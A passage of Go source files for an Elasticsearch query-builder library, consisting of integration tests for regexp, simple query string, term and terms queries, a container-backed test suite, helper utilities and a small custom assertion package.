orwell", result["30"].Foo) 39 | assert.Equal(s.T(), "bar", result["20"].Foo) 40 | 41 | s.FooElasticsearchRepository.BulkDelete(s.TestContext, foo.ID, bar.ID, george.ID) 42 | } 43 | -------------------------------------------------------------------------------- /internal/integration-test/tests/regexp_query_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "integration-tests/model" 5 | "integration-tests/tests" 6 | 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func (s *testSuite) Test_it_should_return_documents_that_filtered_by_regexp_query() { 12 | // Given 13 | foo := model.FooDocument{ 14 | ID: "10", 15 | Foo: "foo", 16 | } 17 | bar := model.FooDocument{ 18 | ID: "20", 19 | Foo: "bar", 20 | } 21 | georgeOrwell := model.FooDocument{ 22 | ID: "30", 23 | Foo: "george orwell", 24 | } 25 | georgeBest := model.FooDocument{ 26 | ID: "40", 27 | Foo: "george best", 28 | } 29 | 30 | s.FooElasticsearchRepository.BulkInsert(s.TestContext, foo, bar, georgeOrwell, georgeBest) 31 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, foo.ID) 32 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, bar.ID) 33 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, georgeOrwell.ID) 34 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, georgeBest.ID) 35 | 36 | //f* OR bar 37 | query := es.NewQuery(es.Regexp("foo", "george.*")) 38 | 39 | // When 40 | result, err := s.FooElasticsearchRepository.GetSearchHits(s.TestContext, query) 41 | 42 | // Then 43 | assert.Nil(s.T(), err) 44 | assert.Equal(s.T(), len(result), 2) 45 | assert.Equal(s.T(), result["30"].Foo, "george orwell") 46 | assert.Equal(s.T(), result["40"].Foo, "george best") 47 | 48 | s.FooElasticsearchRepository.BulkDelete(s.TestContext, foo.ID, bar.ID, georgeOrwell.ID, georgeBest.ID) 49 | } 50 | -------------------------------------------------------------------------------- /internal/integration-test/tests/simple_query_string_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "integration-tests/model" 5 | "integration-tests/tests" 6 | 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func (s *testSuite) Test_it_should_return_documents_that_filtered_by_simple_query_string_with_wildcard_or_operator() { 12 | // Given 13 | foo := model.FooDocument{ 14 | ID: "10", 15 | Foo: "foo", 16 | } 17 | bar := model.FooDocument{ 18 | ID: "20", 19 | Foo: "bar", 20 | } 21 | george := model.FooDocument{ 22 | ID: "30", 23 | Foo: "george orwell", 24 | } 25 | s.FooElasticsearchRepository.BulkInsert(s.TestContext, foo, bar, george) 26 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, foo.ID) 27 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, bar.ID) 28 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, george.ID) 29 | 30 | query := es.NewQuery(es.SimpleQueryString[string]("ge* OR bar").AnalyzeWildcard(true)) 31 | 32 | // When 33 | result, err := s.FooElasticsearchRepository.GetSearchHits(s.TestContext, query) 34 | 35 | // Then 36 | assert.Nil(s.T(), err) 37 | assert.Equal(s.T(), len(result), 2) 38 | assert.Equal(s.T(), result["20"].Foo, "bar") 39 | assert.Equal(s.T(), result["30"].Foo, "george orwell") 40 | 41 | s.FooElasticsearchRepository.BulkDelete(s.TestContext, foo.ID, bar.ID, george.ID) 42 | } 43 | -------------------------------------------------------------------------------- /internal/integration-test/tests/suite_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "os" 7 | "testing" 8 | 9 | "integration-tests/constants" 10 | "integration-tests/container" 11 | "integration-tests/model" 12 | "integration-tests/repository" 13 | testdataprovider "integration-tests/test-data-provider" 14 | 15 | "github.com/elastic/elastic-transport-go/v8/elastictransport" 16 | "github.com/elastic/go-elasticsearch/v8" 17 | "github.com/elastic/go-elasticsearch/v8/esapi" 18 | "github.com/stretchr/testify/suite" 19 | ) 20 | 21 | func TestSuite(t *testing.T) { 22 | suite.Run(t, new(testSuite)) 23 | } 24 | 25 | type testSuite struct { 26 | suite.Suite 27 | TestContext context.Context 28 | ElasticContainer *container.ElasticsearchContainer 29 | ESClient *elasticsearch.Client 30 | FooElasticsearchRepository repository.BaseGenericRepository[string, model.FooDocument] 31 | PokedexElasticsearchRepository repository.BaseGenericRepository[string, model.Pokemon] 32 | } 33 | 34 | func (s *testSuite) SetupSuite() { 35 | s.TestContext = context.Background() 36 | 37 | s.ElasticContainer = container.NewContainer(s.TestContext, container.ElasticsearchImage) 38 | err := s.ElasticContainer.Run() 39 | if err != nil { 40 | fmt.Printf("error starting elasticsearch container. err %s", err.Error()) 41 | s.T().FailNow() 42 | } 43 | 44 | cfg := elasticsearch.Config{ 45 | Addresses: []string{s.ElasticContainer.Host()}, 46 | Logger: &elastictransport.ColorLogger{ 47 | Output: os.Stdout, 48 | }, 49 | DiscoverNodesOnStart: false, 50 | } 51 | s.ESClient, err = elasticsearch.NewClient(cfg) 52 | 53 | // create repositories 54 | s.FooElasticsearchRepository = repository.NewFooElasticsearchRepository(s.ESClient) 55 | s.PokedexElasticsearchRepository = repository.NewPokedexElasticsearchRepository(s.ESClient) 56 | 57 | // create indicies 58 | s.createIndexRequest(constants.TestIndex, &model.FooDocument{}) 59 | s.createIndexRequest(constants.PokemonIndex, &model.Pokemon{}) 60 | 61 | // fill incidies 62 | pokemonData, err := testdataprovider.PokemonTestData() 63 | if err != nil { 64 | s.T().FailNow() 65 | } 66 | s.PokedexElasticsearchRepository.BulkInsert(s.TestContext, pokemonData...) 67 | } 68 | 69 | func (s *testSuite) TearDownSuite() { 70 | if err := s.ElasticContainer.TerminateContainer(); err != nil { 71 | s.T().FailNow() 72 | } 73 | } 74 | 75 | func (s *testSuite) createIndexRequest(indexName string, index repository.ElasticsearchIndex) { 76 | indexBody, err := repository.CreateIndexBody(index) 77 | if err != nil { 78 | fmt.Printf("#createIndexRequest - error generating index body. err %s\n", err.Error()) 79 | s.T().FailNow() 80 | } 81 | indicesRequest := esapi.IndicesCreateRequest{ 82 | Index: indexName, 83 | Body: indexBody, 84 | } 85 | if _, err = indicesRequest.Do(s.TestContext, s.ESClient); err != nil { 86 | fmt.Printf("#createIndexRequest - error creating index. err %s\n", err.Error()) 87 | s.T().FailNow() 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /internal/integration-test/tests/term_query_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "integration-tests/model" 5 | "integration-tests/tests" 6 | 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func (s *testSuite) Test_it_should_return_documents_that_filtered_by_term_query() { 12 | // Given 13 | foo := model.FooDocument{ 14 | ID: "10", 15 | Foo: "foo", 16 | } 17 | bar := model.FooDocument{ 18 | ID: "20", 19 | Foo: "bar", 20 | } 21 | 22 | s.FooElasticsearchRepository.BulkInsert(s.TestContext, foo, bar) 23 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, foo.ID) 24 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, bar.ID) 25 | 26 | query := es.NewQuery(es.Term("foo", "foo")) 27 | 28 | // When 29 | result, err := s.FooElasticsearchRepository.GetSearchHits(s.TestContext, query) 30 | 31 | // Then 32 | assert.Nil(s.T(), err) 33 | assert.Equal(s.T(), 1, len(result)) 34 | assert.Equal(s.T(), "foo", result["10"].Foo) 35 | 36 | s.FooElasticsearchRepository.BulkDelete(s.TestContext, foo.ID, bar.ID) 37 | } 38 | -------------------------------------------------------------------------------- /internal/integration-test/tests/terms_query_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "integration-tests/model" 5 | "integration-tests/tests" 6 | 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func (s *testSuite) Test_it_should_return_documents_that_filtered_by_terms_query() { 12 | // Given 13 | doc1 := model.FooDocument{ 14 | ID: "10", 15 | Foo: "moon", 16 | } 17 | doc2 := model.FooDocument{ 18 | ID: "20", 19 | Foo: "mars", 20 | } 21 | doc3 := model.FooDocument{ 22 | ID: "30", 23 | Foo: "earth", 24 | } 25 | 26 | s.FooElasticsearchRepository.BulkInsert(s.TestContext, doc1, doc2, doc3) 27 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, doc1.ID) 28 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, doc2.ID) 29 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, doc3.ID) 30 | 31 | query := es.NewQuery(es.Terms("foo", "earth", "mars")) 32 | 33 | // When 34 | result, err := s.FooElasticsearchRepository.GetSearchHits(s.TestContext, query) 35 | 36 | // Then 37 | assert.Nil(s.T(), err) 38 | assert.Equal(s.T(), 2, len(result)) 39 | values := tests.MapValues(result) 40 | assert.Contains(s.T(), values, doc2) 41 | assert.Contains(s.T(), values, doc3) 42 | 43 | s.FooElasticsearchRepository.BulkDelete(s.TestContext, doc1.ID, doc2.ID, doc3.ID) 44 | } 45 | -------------------------------------------------------------------------------- /internal/integration-test/tests/test_data_provider_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | "unsafe" 6 | 7 | testdataprovider "integration-tests/test-data-provider" 8 | 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | func Test_TestDataProvider_Should_Provide_Pokemon_Data(t *testing.T) { 13 | // Given When 14 | pokedata, err := testdataprovider.PokemonTestData() 15 | if err != nil { 16 | assert.Fail(t, err.Error()) 17 | } 18 | pokedata2, err := testdataprovider.PokemonTestData() 19 | if err != nil { 20 | assert.Fail(t, err.Error()) 21 | } 22 | 23 | // Then 24 | assert.NotNil(t, pokedata) 25 | assert.NotEmpty(t, pokedata) 26 | assert.NotNil(t, pokedata2) 27 | assert.NotEmpty(t, pokedata2) 28 | assert.EqualValues(t, pokedata, pokedata2) 29 | assert.False(t, &pokedata == &pokedata2) 30 | assert.False(t, unsafe.Pointer(&pokedata) == unsafe.Pointer(&pokedata2)) 31 | } 32 | -------------------------------------------------------------------------------- /internal/integration-test/tests/test_utils.go: -------------------------------------------------------------------------------- 1 | package tests 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | "integration-tests/repository" 8 | 9 | "github.com/bayraktugrul/go-await" 10 | ) 11 | 12 | func OmitError[T any](value T, err error) T { 13 | if err != nil { 14 | fmt.Printf("error omitted for value: %v. error: %s", value, err.Error()) 15 | } 16 | return value 17 | } 18 | 19 | func MapKeys[K comparable, V any](dict map[K]V) []K { 20 | result := make([]K, 0, len(dict)) 21 | for key := range dict { 22 | result = append(result, key) 23 | } 24 | return result 25 | } 26 | 27 | func MapValues[K comparable, V any](dict map[K]V) []V { 28 | result := make([]V, 0, len(dict)) 29 | for _, value := range dict { 30 | result = append(result, value) 31 | } 32 | return result 33 | } 34 | 35 | func WaitExists[ID comparable, T any](ctx context.Context, repository repository.BaseGenericRepository[ID, T], id ID) { 36 | await.New().Await(func() bool { return OmitError(repository.Exists(ctx, id)) }) 37 | } 38 | -------------------------------------------------------------------------------- /test/assert/assert.go: -------------------------------------------------------------------------------- 1 | package assert 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "reflect" 7 | "strings" 8 | ) 9 | 10 | type TestingT interface { 11 | Errorf(format string, args ...any) 12 | } 13 | 14 | func MarshalWithoutError(t TestingT, body any) string { 15 | marshal, err := json.Marshal(body) 16 | if err != nil { 17 | t.Errorf("marshal error: '%s'", err.Error()) 18 | } 19 | return string(marshal) 20 | } 21 | 22 | func Equal(t TestingT, expected, actual any, messages ...string) { 23 | message := getMessages(messages) 24 | if !reflect.DeepEqual(expected, actual) { 25 | t.Errorf("\nExpected: '%v' type: <%s>\nActual: '%v' type: <%s>. %s", 26 | expected, reflect.TypeOf(expected).String(), actual, reflect.TypeOf(actual).String(), message) 27 | } 28 | } 29 | 30 | func EqualReference(t TestingT, expected, actual any, messages ...string) { 31 | message := getMessages(messages) 32 | expectedPointer, actualPointer := reflect.ValueOf(expected).Pointer(), reflect.ValueOf(actual).Pointer() 33 | if !(expectedPointer == actualPointer) { 34 | t.Errorf("\nExpected: '%v', Actual: '%v'. %s", expectedPointer, actualPointer, message) 35 | } 36 | } 37 | 38 | func NotEqualReference(t TestingT, expected, actual any, messages ...string) { 39 | message := getMessages(messages) 40 | expectedPointer, actualPointer := reflect.ValueOf(expected).Pointer(), reflect.ValueOf(actual).Pointer() 41 | if expectedPointer == actualPointer { 42 | t.Errorf("Expected and Actual have the same reference: '%v'. %s", expectedPointer, message) 43 | } 44 | } 45 | 46 | func True(t TestingT, condition bool, messages ...string) { 47 | message := getMessages(messages) 48 | if !condition { 49 | t.Errorf("Expected: true, Actual: false. %s", message) 50 | } 51 | } 52 | 53 | func False(t TestingT, condition bool, messages ...string) { 54 | message := getMessages(messages) 55 | if condition { 56 | t.Errorf("Expected: false, Actual: true. %s", message) 57 | } 58 | } 59 | 60 | func Nil(t TestingT, value any, messages ...string) { 61 | message := getMessages(messages) 62 | if value != nil { 63 | t.Errorf("Expected: nil, Actual: '%v'. %s", value, message) 64 | } 65 | } 66 | 67 | func NotNil(t TestingT, value any, messages ...string) { 68 | message := getMessages(messages) 69 | if value == nil { 70 | t.Errorf("Expected: not nil, Actual: nil. %s", message) 71 | } 72 | } 73 | 74 | func IsType(t TestingT, expected, actual any, messages ...string) { 75 | message := getMessages(messages) 76 | expectedType := reflect.TypeOf(expected) 77 | actualValue := reflect.TypeOf(actual) 78 | if expectedType != actualValue { 79 | t.Errorf("Expected type '%v', but got type '%v'. %s", expectedType, actualValue, message) 80 | } 81 | } 82 | 83 | func IsTypeString(t TestingT, expectedType string, actual any, messages ...string) { 84 | message := getMessages(messages) 85 | actualValue := reflect.TypeOf(actual) 86 | if expectedType != actualValue.String() { 87 | t.Errorf("Expected type '%v', but got type '%v'. %s", expectedType, actualValue, message) 88 | } 89 | } 90 | 91 | func getMessages(messages []string) string { 92 | if len(messages) > 0 { 93 | return fmt.Sprintf("messages: %s", strings.Join(messages, " ")) 94 | } 95 | return "" 96 | } 97 | --------------------------------------------------------------------------------